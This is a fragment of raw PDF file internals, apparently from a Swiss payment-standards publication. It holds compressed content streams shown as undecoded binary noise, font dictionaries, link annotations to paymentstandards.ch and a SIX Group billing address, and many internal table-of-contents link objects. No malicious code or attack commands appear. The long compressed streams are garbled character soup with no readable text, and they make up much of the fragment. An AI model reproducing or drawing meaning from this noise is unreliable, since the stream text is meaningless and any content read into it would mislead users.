$@JzTcN7+YMQ[УxHgrg% B^7NQIR]\^YMHK[g`5{n7$)ѱ$8IP{~iIRt ήK `$@(G' $)z^R >+ +x}Jl8$EW,n g`++ƻ_Loa TԮonCJb*l$ATУG'^%&wCOKk8e`2^zZ]Res`24W4^+lJ@rVYM"ivJ@&B99=s!iIqtiLrvqyCx'V㒩$@j6$)asw%0.ɹӒj=Dj c'$):n|V"d5 ~ =-IV.|V"T,?h0$ETj SI$wvvUO`\%HR; =*Ipp|V"Jg&(Wjw%I jL6LjnCOKmmJ@r`2MI$~| g% ByU@v{~iIRtݧdX~&;;;O2% 6oz_\گ*iCUqVTУ $ &BӒdj^B7N'$)ќ|V"T,?iw߷Dnә\Y F2Y +~&W=%wqyi5 0j ӳУGG'g% BII@ʕuiIRt ^Y P*sQBOKl~3L$t +$@ ;]I$wJ@tiUPAiIRt]]][M}30d:=;_UxGGtq M* ~z&SRD 5vg% B)U@>&DAb5 $@ N1$)\MR >+'Ns녞$ECjELI }I$=&$6RL.L'VH~UEl>@J2$)AA Pb='BV =-I~_5J@| LZ}j$EW)J@A4njIkڹ|!&\Y[/a 0XM"y7V֓˫V9@VHzӳd:fm=ڮ?%vwJ@V]bA+;I$PZ >+Z\^]][wjj[M"y^h5 𒏋+.1;NzZ]c6g5 d3 0v~iIRtޥ3zrvz_b~UIgT&f-1=%ʕ$5Z?8_>53pJv}szZ]~ >+ZZ^}75ӒtJY x}$^ng% 6䇏x}=I$w{wo5 0i5ɛSTc 0i)i+zS3soN9 .\bH(Dh5~%on\bHVo-&޼?ޏK 5UУ $Dhaix?R*?Vy|DF B1D%?K3hwӒ躿dg% B O `r Ӓ躼Jg% 6&Ę/fqrzUOI}-'SյwSOSs\!aJ*$)Nso#>.Y^M+ZZ^f_ȧ$-I$=햶g% BW,Z~zZM"yv;+/ B1 -5w&4]* >+I'g>|d/J_($)/. [KlLͼ%szvzT](Dhem^t&fʕMiIRt zj+kߟ\+z*CzZ]~X>+ZXZyK7Of>frGwRo4;Ӓjs/&yĆ1hwo녞$E}&>+$?9;Bv`0=-I Uqk/&sv~>COK~U`jW^b2v%Dҋ F|V"U)W1>&yx=-I^]-~ZM/Uy75Jg{Zh5獾 +F7`Q*?]VH*ج%6gj긩T:Oໝ$Ep8<>9 >+ZMlK?M}XX7rvqyzZ]|V"mIT,n?9J>$)~R >+Z\Z$ϼ[O=|?W<$EWg% B߷soNLg%cb۳DX$s&{czR6W'~iIRt]^]zrzv/11V{ + Ӓ::>HK@l~d5K|N/yJVHzK `jGVt1iYvCJ~{{zT]Z-.jWV,ZkZӒtVY ?{Ow%?j4GJiIRt=ZfY ͧ$ ?ߕ6KH@&4M: >.s5ɇ_t1njvqy5 ~F"tttb5gNNΒLq jbcjf]b<=L`*rv~~zZ]p0Dhe5/xzcb2-mH+Ӓz#Dh&ySf>'ӞTVzZ]^X>+s5k\b<[^M E?-fk5ۏ\>Dh`+mϯ2O..f2z%Iu{w7J@l/.nzzv~y5~Wǃ $)E2 >.YMlگWt&Y +~~rvzzf5gWƭ ~YeoNM-,$Sf2V=+Ӓ fY 旅_S|wSs\X'UI$=m&^joÌ˫tve GjNzZ]N' >+Rnzv~ay5䊥m?3n=-IV* >+s5fdn3bh0𪧤]^]yXO ~y;53qqi5z"wrb5:::q[KlĿ仍_qqeu=6KiUQIRt nY 3o~7ox7~zj" +Eo@pj>$)z~R >+Z& gf>.,%6R\P,n?wZviIRt=>>g% B&cNwS3Nc%V#K4]U%=>+$֓s oކLӵ٩ K++k뉍T2d OҶ qJ~U`Zbczv>›SfOMO~8aqiezr?F*LgH.Y,=)&S[M"iѱ$ V$A;f|Hj#0/m &* 1D$k.v;wnlJϠU-C+ճ$)u|0Ix}Lv&z-IJ]^Q J@ +ޯz§1YQߵZkIRt:k[ Hg]I.&Cjn$݇L.#|-;~?z-IJ]7 4 Oy0{{)qgE_KNDთs|r%8M<߼UOYe+ՋK/1$=[^b9MS]F~{ۈ^KRWr>uT]+z-IJ] ++k[ H!I*Q7W·6biliVe$)u +~ +J@e#|2Tvv&R\ҦP, @JOZѱ$wPtx$WXxi +߳ !I$=i\i + F&z-IJ]^\o% fr^b>fNjټ^KRWY]sYU\eh7;NZT3g,lgwE%Irͷ$D ߰ #I$=xi|D#4!,EO%I+Iݽ|歯z +UZz^VJ@ +};M⫞C'|½jhF%I鬭 J@ +M;M0l§+Vj&fnjVRhrj7 +4]]]XZJ@ cx5$w|r4 X0:4 _W$~VRh>_|v,W>Wrzu}$~4 ]y_slMI$=}J@ +M:M0·*|Wjגj>.o% &`U;[;NHz⇏[ HB464 _{~?z-IJ]gťMXr`OTU%=no}U\82: KߧcJ2z*IJ]~9.1gOmT77kIRt:?[ H!IR86ZkIRjݭo% 0hskF%IvMX +Rxݽ}I$=(׿Ν&F&ßx.~ё$vp4 $$|rD$՝&c.Wp`0QYJь^KRW˅?u(jrD:YI.|¯onO$)u5MIt w(ݽ$u~q4 XXz4 @P$v%X4 @v/PJ}UIYq_xl>W /PMuZCVRhf.*@O}Zټ^KRWZ[r ·'<ͭv$O e{gsD.?| K@䋥wßx W=%=GW=r&Ȍ ,z-IJ]Ilo% 7o&Ȇ 6z-IJ]~r'@&MxvZiIz+k[ HrQ؄Po$)uݵZK?o% &fŸ /d{gE%Izqi9|+iSXXp g&~}UI;:9)-.% mѱsNƄSTONNW}UsőQUR*|c‹TWkIRzfVRhv>Ȼt 6FZ:/̜).[$vjJ@&Hi inZ槕MX +V?Jx5{{)q%UG&HQ $z*IJc7>% mr⛷cO%|Qk*WSIR,-.% msIR"|Q++W I$}bC\ff.Ǜv$jvDÒdaK ɩv·$t:kIRJdo`_b4 @! Q~ZvvKcO,|EBSU%=onx<GFV@JK IzsyUOHU٨FO%IiUks HoFP~p =$NSl% m&fx}`skiI߭J% U&!%vv&ݺ/JXz74 +G;IRJk۫k H\a;I^Of(Wg;IRJkw:^b +o޾ R\^_D$I)x# #MeּIRZ^]TM= _BVӍIRZ(K^Ttz;IRJm|ZY M@z|;M>`DHcU%]77^b%_,9MG"y$;IRJONiVTGv{%_frx""Fl6Gv{XÞz}U>!v=$Fqy%|41~}Ug !w&ͦ IY0?UOI?ټ[?I&ŸI* 9>9^HR]y/1߼ 2\^\^F/$Ih& %fN`0;M"Kdww!z=w[ [w ryiIRbŷ\_Do#I(Iã㒗0 o޾ _Y>`T6j7HRJxqi9|@f&xZEo#I0x:M"I]\\~\^ P@ I(|@uDSY@biti>`P9M"5͕ FF@<`g^bHzbv{ms8M' oInWv˕jx)|`֛ۨMI$=~_7hji w067v*$Y(}Q@ɩXaW̔$aiq)|F!һK m— ã~W=%=$INNN?,-/) D.0n"|,J!QTONϝ&S]\\~\^ _R@\adt,|/GQ٨]]]G!Ifeu=|I!f[Q7=$)c5wK +4 :6$~vS٨/) LjH5Chk{W=%l^* B464 7cW=%Bc +x}bidt<|; +q0NNNLvvv/1` + o:M *z Id7|f F~hD/!Ih}S+ _Q Z}jE/!In;PChrj_b)|ۻN'z Idnwkkǁ*bi|b*|G|vG/!I-~W/,MO W>܀{J}UIO +x5 n_ʕe nnnWVWj o޾ &|V٨ $)õZ_* +x5ӳ j~Do I꛾ crj6|S<7lpTZ\ +Vt +c xlgw/zH| CP,M/ Ԁ:<<^?2_\]W+,y;>.^TLENW0/94 07w&,z}ŀa03s` jm.zH|I, ɩBc[;ۆb+K+%3*YjZ^TXz7>|h=ŀ+,}75W.\]$I=}$ H>n.Wp_0 xF&zH ŀ7;w_$ xj4Vk҇9UȀRou:#ipJg1`P9M 9]_]_,O-% IAŀ_=w$ Zv\O-%俞&)|,zHz(4+'u+ 5J:zH$g77sW= _a/zٌ;f˗ʂ%0p&,|jm0Nߴ*K|%0P&+||}UI/T?J`䋥1I _^89=K$zHzގ(2/y;>F~JER^9󋥏g\f&q_ȒI(|pkskEOI\$WWןV—& +_%Ogw૞^V]1 oI&Ç ? +ZK8:>7~tt0rȨ$@څ,%+Ջq#i(]\.c ȸ9I Y lno&u:';ffsNi>4Il$ EI\\\'d$@/,Emmte#iXj՚{Bv};M>||W^Aߏ5$IONG dWi · +OW5w_‡kr@^$^~PZ\ +b/uHUF&zHnno1d̜$@*lTf3zHΞ?ƀ,HIvӉ^3$I.VVS + 7 _vvNHlmc Ȗ|aݸ@*)9M")O+k x|agg;FnM2+8M Q@rz}4$99=[ˀ'r>(_OEIC]c@L̅`o( P}s4В$9=;SZ +sDRtNgss{!|?V(F&W 0}UI%Iryy1 򅅑! Pr⛷c[6 HF*zHג$YY]hW^YnRbZm4$o^oworL̜k +M@z7ZVj-I_*ҩP,MNxn׋^-u>uDRgg++k{ x`>Wuxq[ Hrz4Tnww1|^VPҩQk6KEg_T_7` _I@jUkv;zHKh Nۍ)Zjc@J8M}A﫞Rx4 2~NHJnwr|r e_RCRʻjHoIޅ`/# 6u"I\߿\O%mzf7)|YQo6$=nSa695%7![;N'zHSk6jUR(''00-{~?zHSKrmc@|adC2W=%enwxtqy%|N"| +ST/$tv{sk?&~_\:M")5/Ja33UO7 *V=D$W˟V7 dZVrDRvKUxM] ȴݽ$\q xbi &nj^Z\ +w0򅅑ѱdQ\{!)_* |歗O >TWW7C^wzz>`W~VCl6$=ONwJʃ~z}Uৄ``lnmJZc%B +i/1 < zћCFYr^BiȊ C_4xV5Jŷ&g c<'gSC$I?);Vk.WUO)—0x_O\GO Iz$\%| 9?_:@Tͻ!I/U$ggsM>,|Zt:#C^~rz{ xʼnH I$ |nZ+KS H ~=/$t:G~S0:4 }x'gJ1?@Ȯ|۱P^RCj?/AȨoIW +60بooѓB^Vq{ 3sq_/VՊڵՅ҇I24 G 0li |éZZ I_]_+RNz?5M 0|G6͞` l3 6vVRTu  K|H,4 s/Kh\^ħ"B& >a$euإGQ +`ZZ|Z|0aer&K|H`i"߳ ~Ҳ&K|H$)/1T yJ4 Ljuc4 _SOnoyI_.H7kۖDD.|a|xr|zK ig $DDfN\er&E|UJI/"h`8*+C4ɑ5~ֻUO"{ɜnO$SJ*!VXzE l۱UE lyJ'>lT_l6^DDupTesؚ_@|꺹^wQTSJ-KlO$I$)Gt]WzE K +@iщG +Mm/"y鬮W |?_X>Bz}$DDQ]n.AL9MĚ<W%"zǔRTMXHg>}Y>6Uk:I>"v~/3N1%MjmK?Ŷlnoy Nq$>L`Ã3>Q%36jwRDDo-[,(Z&wp$>#It︯JDRl4'+er=pi"p8V|(Qt|'> =V'=Q}mMDE@<Wu\,WDD M)\VT*QqrvW=_" +pG)(y7/V:h9MBD\ϛNg,K@hi^'Qxzpn4k^e Zv$@x`K "zǫ|W4 ]h:4 QHSJM&Fū yJ@DOxjM_r(A0͛vXIn +endstream +endobj +98 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (mailto:billing-payments.pm@six-group.com) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [253.88 677.64 443.26 696.64] +/StructParent 2 +/Subtype /Link +>> +endobj +99 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/archive) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [300.98 530.64 463.5 549.64] +/StructParent 3 +/Subtype /Link +>> +endobj +100 0 obj +<< +/Length 6207 +/Filter /FlateDecode +>> +stream +x=ێ8BtyV%JIeҝ.=UL_ҝoO9HHeS *E񐇇˗v2%/^\&ӏ/Y.͗||MnfgY$ɒ.Ҝ&iƒ]|.ߐNY} g I) B4]mEU}d>ϟ=6e`ίVjjqڢaP| SU3GbvD K֌042ƆiZE+?d,zM5ʴx5{2 `IiY.~\5*h,iQiT?..61 +軆%d C{ь^E^OFD$f7 b1$0 +ş' #))giI,央96v'j^0,:Ҳh  S'.&w3R$WI|-,UI^u'6%!`lnXκYxJɸn&h\^w9/5-(J| L=dphOX`i'֓%뷯]rq_7:MT8Ҽ3f ~Kiw@f?GyF40:k>( iZ2mQ"m;@w;x2 W,j?$v?{V.[ L~[;#ÇlZ~1qtO3T%q ^3>׀>iFr/$58VO.PZ#.2YN磼s$擜;d3b YX3wH6*&7FϓL@ (Ӝ7wO툐Fƹb)^˻kSQz +TYt^ߢ< +hQ _JD4բyuoљSBlOu XZ:*Pȴ:Rxe:vvO#\3ha~?`E ~&gޚh~B]4JbQjTح /8%`^ZbDyy %E~n՗8'pqQҴC@|Ni\$.v>"\@I:vJS,}%H˥p``dw&`"fԶ ":3twx%}RZ,j7-ũnfFXȽ"@[ Bުl> + 4C-v1 iv+l0~ //A#nx.B˿םUA+ز1#o\@O蒌m:|#St^GxJдntF~cE1lh|rFSf|1ci]şxX ")nJEK2 YyJxu,Po`qWT &vn<"V@`Nj1](wUY645\~971 M76 TlE6 H))zǵXw7ynq$*X4ױXR NMAM)^$4ǖUޏhYėGy?# X>[xě1=iwv G`k[5VȥC9L"UZp?8[N9)SVf]\MppEyt7p[}n=o(+fqsnW>$i.b7٩|e\*ՠ{ԳM7 ZAh:@' r^ _ #,OW5N cYr9#$T/'+G5@zMI;q[4Fôڠ,^(T:Ou0NJ0H5]\+4Bu@(^,°gr TxZQP!Yb.RvL_ x D r,Є`Ѹ# <È@BiIGuz? . O."`$=iB߾D# +^n'.ls, t,26cYEs(-Dʳv萃y*A;;Rf+J.u]ގwQt:$A^A< )Šh\_ +(.lx1NAsZ Pqڃrz?QC:>36U+GϏI-_NqW6&p8Ӯ"YV!PeAP,3xDž9ND/eEաv@$!PJ(e9 +/IJ9C DcFCvA\=a;>ٳ=D`Jwp?bi~Pa/ėHPZ?seҚÐo=)SJ> aJqk|5E:sR5OsD + Li+dy&}G)qCTbִpТ Q×Ӎ{a$:% l0LtmoWMh=9*tVt",N*M"mmN$m 5m٫HN[p/H[iv,p9sA#ǍBm)29IUx7Yf4Il1i^wt8R$ă 힙&saS3y .9՘L h(S2,#$6f}"A,aag.8`y0_3Wg 0ʒ#Cb9rgG @5~ {VE?.~U22a3VA耊{།GXhy+Nƈj؛Y]e%Lj([|ƗP;RuR9Ft^oږ-3__ɾٕy^Ҝׇm1U:@=,j>"; + \99CwGtuN:`Ω`dTX7C㡨l:tTG>? u:yTe2NŁLgJ;L* GuNQ1Q Ne`+uL_}Q<9 jJςC ["SIi=j6b4c]B NPzQ*ДM@XPH8Jp~EStBEjo} +cX9m<4)"%%mPۃI,i.CeT):diP;N,ڢ٣I 깚Ǫ6D[[x20VVo"0*@r?$u12ƹX)\PK +OٲCj0+tvW4>| {v1t# /1c@.c ӴNIѠPFg%Z=I W5 lkܹ^ZDqVFlEe:(cp9`b0EWi!\2Pk+uĶgF VUjNʵs(wBkK= Oo@kLkWcBp QtHBC<-]b].}"Lpgd$kJ՜/7tOftQ 5^*;&G^|k#punem7-!i (xag:C=J<$̋d_2Y?7um~}V>KV,*rwer`Uٷ}׏$md~2 ?LŨrR[ۘ,FOpDYZ>{;%)2.\w=g- q[ԑ-gv7^Gxc gkoy= {eǘ*r6zsDJ>c[P +Z'f&-v iTSp53I]a; s ]nɺYUy,{ɓF7nQ8b.##qU9Ծ2|wNFp]K7uqxFHѺFILޖkV^.Ѣ|~%6SM*ϠT85B +ppؒZ!vdGl鬊Hl@ݒGrdL{A$t5o)u5( +5G;8oyY $iiɗ2ȵ0ؽU+ )`9v`3XLs0}u/ƾ=- I sW&-9e RD_"YP =&]@>I?ć +endstream +endobj +101 0 obj +<< +/BaseFont /BCDJEE+NotoSans-Italic +/Encoding /WinAnsiEncoding +/FirstChar 32 +/FontDescriptor 4068 0 R +/LastChar 244 +/Name /F6 +/Subtype /TrueType +/Type /Font +/Widths [260 0 0 0 0 0 0 220 290 290 +0 0 256 313 256 356 551 551 551 551 +551 551 551 551 551 551 256 0 0 0 +0 0 0 562 0 587 667 514 0 678 +0 324 0 0 478 841 707 721 567 721 +573 505 501 677 552 0 527 0 0 0 +0 0 0 0 0 568 579 453 579 499 +318 579 579 258 258 0 258 875 579 563 +579 579 398 432 332 579 467 723 483 467 +445 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 477 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 477 0 0 0 0 +0 0 0 0 0 0 0 0 0 514 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 568 0 0 0 0 0 0 0 +499 499 0 0 0 0 0 0 0 0 +0 0 563] +>> +endobj +102 0 obj +<< +/BaseFont /SymbolMT +/DescendantFonts [4069 0 R] +/Encoding /Identity-H +/Subtype /Type0 +/ToUnicode 4070 0 R +/Type /Font +>> +endobj +103 0 obj +<< +/BaseFont /ArialMT +/Encoding /WinAnsiEncoding +/FirstChar 32 +/FontDescriptor 4071 0 R +/LastChar 57 +/Name /F8 +/Subtype /TrueType +/Type /Font +/Widths [278 0 0 0 0 0 0 0 0 0 +0 0 0 0 278 0 556 556 556 556 +556 556 556 556 556 556] +>> +endobj +104 0 obj +<< +/Length 2134 +/Filter /FlateDecode +>> +stream +xZ]nF~7;["\qw) 4.R @Y\6HTМGeXw HB.gwgY{|WnG-]m(A@RBrDJQu N|W(E!Sr <i :z) DqYHׄET|N\>Bk6<a)(Oe; 34 آ1T4jx*L2mg^-dP= 97̅GwhmZ3en +!æYX ؚciI}?' TOUfجj>,gC'@U_z#:U< W(n.'mŰմ*P{Br&R7*@ iLIs/5m?X? (ӦT-x8aa+gn4B;jTOquaOiV&N:W~|6yZVwν /#Y.ӽkmሬ?r^xnq?7w)vWHz %(hyq_=6XqrxXF͐>*uis4<ғagZ:j)ݢ~hxzyka̢PaF5[/r#_?3@>bNc)CjD]VR4QW֧CԽAI+ֺtJ;ݔ`Kvt8SF9M2-u=י9+PeNg4nX^3uBưkiOe:,,:yu\3F&gK#a>hq-sJrc4!rR/*p>Z' [  = {{TƿёijzfeRэ~rث@tj} El_h>d6GvўFMU(EmW OHٽGn R, + :qyO +D U;E#Um\ծF]؉j4oH vwvˉ߆@'_'OӉ.)웎14D,ᯘ!<؟ux h +]tf>g2116ey7b& +DhQ(^8Id#R]i)&YnR $<6BԙZ[! CGB԰QAHWA пϤdU6C +endstream +endobj +105 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/home.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [245.4 166.64 372.06 185.64] +/StructParent 6 +/Subtype /Link +>> +endobj +106 0 obj +<< +/Length 4738 +/Filter /FlateDecode +>> +stream +x]͒ܶJ)AtJZETlWlF3IO#KyٜAw H\_*n4n4؋gb>O/M?MnaY_:9G_&7eU4I_YJQ^IƣR$n_~?z񣋗,QFA4b<j"45ɓK-ؤj_EcշLG7,Pd*)˳(}UɥkPDʓ¯/+Qt RdPeLx8蛖~tj;Y追~Lַh_}^!bIV&Y_r c +Ybҁ%9bwY-'1Kw߇z,/))r@3?񱥦...G)=<էnj*vXo;y?Ѐ)pcW(Ω)-"FغAi=Ϛ<*}y99ɉ擸M pQZ&>HB.äQL~m[zњ +~?SP9LrIT7L97Ip5YvVDEH#.4B;ޑ&IXy[!;d-LBt~Pv7=6wT >(0Qhn,ׇ/m[;u-Y|"ά5wd~|gwW;h?Mwqd+=1Cԡ֔ x=PqQ{`{Zګ'qlM @#YO4ї3g&~ױ$3a9[;N٣7vt[3ZmZ?׸+b\O ,Q\f>i' &q!|51(fF&6#:\meqhvE훘dj]^zGD1MH]su!g@tg?n}ؗۅ} 4)3R71zrDG:4`{o (~xϿL rȘ:Ko8(R5gkyyZ0N4WC&)wCsK)%dRm# HS>%e+GPZzGmjxQ@ =6H]w,a7Sknvxw4(cW>5p櫺06ܫ-3P8Aη +ˇQE]KEy9\46 ~oCqɘBKun^34 +@ZME-2M=.b<=qg>[Lfn؂$4}7Qao\Jό> rn2x Y{HmA]^g}Ji' J|]̪bY1W +JJ΢v\4+!9cxc91-|Qp$=lGO^AvZhHNZћkE ƌuO'3\4O`nbjҙ{Mv:righ D(\g4w_kX34R,!xzf8|HRֹ^;)5e;59 ^$C[g@+lx[fH0>\%S\BKh5sBg#m Yj$z[LT9:Kn06HM}Y{$2hyX ŐhV< CC7 +r'lBn`2hry"oA(Os4!=fҏ&W^`*F(r>Irɓ, _& Q"EL!Ip0pS{ N2H#ISC_b}j&Gi"г!k0R'[CƓ)2ԛ5U paFU + c@"g)l4۫iPb:ADV{c<:Rd2̳ Rxꢼ'.:$?qEx/;u``%c)p B2si OVag"-x +Kc]Ρ +#Ͽ[@T14k3YBIp0rS}m_5(pl1RW1"( nȓMY!~vHs:g r:ӵ5c vi럫|<Å2AYXڭ;sk;.lJgqs)xPdJJ(]mC 27e9syd\aJ IClt,-;id7/r'͋ + q,ʗ̸; +qww_WYӶxy5fodgNMe8En-\2Cʉϴ+Ac)v~fTVT{wDدo +f#@EaCnd>@fߑ.R)9 !S~F@XofT#fzH[VPs#i8A ~y61zb Zj8`dz?Rے]o"3!t'j[ +5L+ld{_G)>'?eT!sPԼ6J*r~ uP u-6KJ8Aѝ*gEcYuev3zxj*mJzf3ozgM < 3MDPݶ(= |YyVwքOTNY[L6vS/K p +JPRMb],'FMfyąp>z>a6~RSEֻn$$" +h#\(k(A ^02k78 e w<[G<8%ˑ$Բ(}Csk7)oLъBŭ%bD}4ڵh66Z]OևVe)lna<+[pov9M>2AI}LR^ q#۩c#3nW/cbI~exF>drxoq Mv8y3\Hn >W h`HIdcq&UodC\gip0 n1a_B)U)UE$ 6w]N8~#0Kp"oKuGOTu[]˪9yjݱT4I]J Y@94/K8e}* +{Dv6F•Q3>|C*S5D 5hЅxr0釆D)= +endstream +endobj +107 0 obj +<< +/BaseFont /BCDKEE+NotoSans-Bold +/DescendantFonts [4072 0 R] +/Encoding /Identity-H +/Subtype /Type0 +/ToUnicode 4073 0 R +/Type /Font +>> +endobj +108 0 obj +<< +/BS << +/W 0 +>> +/Dest [13 0 R /XYZ 82 728 0] +/F 4 +/Rect [82.85 673.35 555.15 689.35] +/StructParent 8 +/Subtype /Link +>> +endobj +109 0 obj +<< +/BS << +/W 0 +>> +/Dest [13 0 R /XYZ 82 588 0] +/F 4 +/Rect [82.85 658.35 549.72 673.35] +/StructParent 9 +/Subtype /Link +>> +endobj +110 0 obj +<< +/BS << +/W 0 +>> +/Dest [13 0 R /XYZ 82 588 0] +/F 4 +/Rect [545.22 658.35 555.15 673.35] +/StructParent 10 +/Subtype /Link +>> +endobj +111 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 82 728 0] +/F 4 +/Rect [82.85 643.35 549.72 658.35] +/StructParent 11 +/Subtype /Link +>> +endobj +112 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 82 728 0] +/F 4 +/Rect [545.22 643.35 555.15 658.35] +/StructParent 12 +/Subtype /Link +>> +endobj +113 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 82 491 0] +/F 4 +/Rect [82.85 628.35 549.72 643.35] +/StructParent 13 +/Subtype /Link +>> +endobj +114 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 82 491 0] +/F 4 +/Rect [545.22 628.35 555.15 643.35] +/StructParent 14 +/Subtype /Link +>> +endobj +115 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 82 333 0] +/F 4 +/Rect [82.85 613.35 549.72 628.35] +/StructParent 15 +/Subtype /Link +>> +endobj +116 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 82 333 0] +/F 4 +/Rect [545.22 613.35 555.15 628.35] +/StructParent 16 +/Subtype /Link +>> +endobj +117 0 obj +<< +/BS << +/W 0 +>> +/Dest [17 0 R /XYZ 82 728 0] +/F 4 +/Rect [82.85 597.35 555.15 613.35] +/StructParent 17 +/Subtype /Link +>> +endobj +118 0 obj +<< +/BS << +/W 0 +>> +/Dest [17 0 R /XYZ 82 691 0] +/F 4 +/Rect [82.85 582.35 544.29 597.35] +/StructParent 18 +/Subtype /Link +>> +endobj +119 0 obj +<< +/BS << +/W 0 +>> +/Dest [17 0 R /XYZ 82 691 0] +/F 4 +/Rect [539.79 582.35 555.15 597.35] +/StructParent 19 +/Subtype /Link +>> +endobj +120 0 obj +<< +/BS << +/W 0 +>> +/Dest [17 0 R /XYZ 82 295 0] +/F 4 +/Rect [82.85 567.35 544.29 582.35] +/StructParent 20 +/Subtype /Link +>> +endobj +121 0 obj +<< +/BS << +/W 0 +>> +/Dest [17 0 R /XYZ 82 295 0] +/F 4 +/Rect [539.79 567.35 555.15 582.35] +/StructParent 21 +/Subtype /Link +>> +endobj +122 0 obj +<< +/BS << +/W 0 +>> +/Dest [18 0 R /XYZ 40 670 0] +/F 4 +/Rect [82.85 552.35 544.29 567.35] +/StructParent 22 +/Subtype /Link +>> +endobj +123 0 obj +<< +/BS << +/W 0 +>> +/Dest [18 0 R /XYZ 40 670 0] +/F 4 +/Rect [539.79 552.35 555.15 567.35] +/StructParent 23 +/Subtype /Link +>> +endobj +124 0 obj +<< +/BS << +/W 0 +>> +/Dest [18 0 R /XYZ 40 471 0] +/F 4 +/Rect [82.85 537.35 544.29 552.35] +/StructParent 24 +/Subtype /Link +>> +endobj +125 0 obj +<< +/BS << +/W 0 +>> +/Dest [18 0 R /XYZ 40 471 0] +/F 4 +/Rect [539.79 537.35 555.15 552.35] +/StructParent 25 +/Subtype /Link +>> +endobj +126 0 obj +<< +/BS << +/W 0 +>> +/Dest [18 0 R /XYZ 40 381 0] +/F 4 +/Rect [82.85 522.35 544.29 537.35] +/StructParent 26 +/Subtype /Link +>> +endobj +127 0 obj +<< +/BS << +/W 0 +>> +/Dest [18 0 R /XYZ 40 381 0] +/F 4 +/Rect [539.79 522.35 555.15 537.35] +/StructParent 27 +/Subtype /Link +>> +endobj +128 0 obj +<< +/BS << +/W 0 +>> +/Dest [18 0 R /XYZ 40 252 0] +/F 4 +/Rect [82.85 507.35 544.29 522.35] +/StructParent 28 +/Subtype /Link +>> +endobj +129 0 obj +<< +/BS << +/W 0 +>> +/Dest [18 0 R /XYZ 40 252 0] +/F 4 +/Rect [539.79 507.35 555.15 522.35] +/StructParent 29 +/Subtype /Link +>> +endobj +130 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 543 0] +/F 4 +/Rect [82.85 492.35 544.29 507.35] +/StructParent 30 +/Subtype /Link +>> +endobj +131 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 543 0] +/F 4 +/Rect [539.79 492.35 555.15 507.35] +/StructParent 31 +/Subtype /Link +>> +endobj +132 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 465 0] +/F 4 +/Rect [82.85 477.35 544.29 492.35] +/StructParent 32 +/Subtype /Link +>> +endobj +133 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 465 0] +/F 4 +/Rect [539.79 477.35 555.15 492.35] +/StructParent 33 +/Subtype /Link +>> +endobj +134 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 375 0] +/F 4 +/Rect [82.85 462.35 544.29 477.35] +/StructParent 34 +/Subtype /Link +>> +endobj +135 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 375 0] +/F 4 +/Rect [539.79 462.35 555.15 477.35] +/StructParent 35 +/Subtype /Link +>> +endobj +136 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 272 0] +/F 4 +/Rect [82.85 447.35 544.29 462.35] +/StructParent 36 +/Subtype /Link +>> +endobj +137 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 272 0] +/F 4 +/Rect [539.79 447.35 555.15 462.35] +/StructParent 37 +/Subtype /Link +>> +endobj +138 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 195 0] +/F 4 +/Rect [82.85 432.35 544.29 447.35] +/StructParent 38 +/Subtype /Link +>> +endobj +139 0 obj +<< +/BS << +/W 0 +>> +/Dest [19 0 R /XYZ 82 195 0] +/F 4 +/Rect [539.79 432.35 555.15 447.35] +/StructParent 39 +/Subtype /Link +>> +endobj +140 0 obj +<< +/BS << +/W 0 +>> +/Dest [20 0 R /XYZ 40 606 0] +/F 4 +/Rect [82.85 417.35 544.29 432.35] +/StructParent 40 +/Subtype /Link +>> +endobj +141 0 obj +<< +/BS << +/W 0 +>> +/Dest [20 0 R /XYZ 40 606 0] +/F 4 +/Rect [539.79 417.35 555.15 432.35] +/StructParent 41 +/Subtype /Link +>> +endobj +142 0 obj +<< +/BS << +/W 0 +>> +/Dest [20 0 R /XYZ 40 529 0] +/F 4 +/Rect [82.85 404.35 555.15 417.35] +/StructParent 42 +/Subtype /Link +>> +endobj +143 0 obj +<< +/BS << +/W 0 +>> +/Dest [20 0 R /XYZ 40 429 0] +/F 4 +/Rect [82.85 391.35 555.15 404.35] +/StructParent 43 +/Subtype /Link +>> +endobj +144 0 obj +<< +/BS << +/W 0 +>> +/Dest [21 0 R /XYZ 82 728 0] +/F 4 +/Rect [82.85 375.35 555.05 391.35] +/StructParent 44 +/Subtype /Link +>> +endobj +145 0 obj +<< +/BS << +/W 0 +>> +/Dest [21 0 R /XYZ 82 728 0] +/F 4 +/Rect [82.85 362.35 555.15 375.35] +/StructParent 45 +/Subtype /Link +>> +endobj +146 0 obj +<< +/BS << +/W 0 +>> +/Dest [21 0 R /XYZ 82 669 0] +/F 4 +/Rect [82.85 347.35 544.29 362.35] +/StructParent 46 +/Subtype /Link +>> +endobj +147 0 obj +<< +/BS << +/W 0 +>> +/Dest [21 0 R /XYZ 82 669 0] +/F 4 +/Rect [539.79 347.35 555.15 362.35] +/StructParent 47 +/Subtype /Link +>> 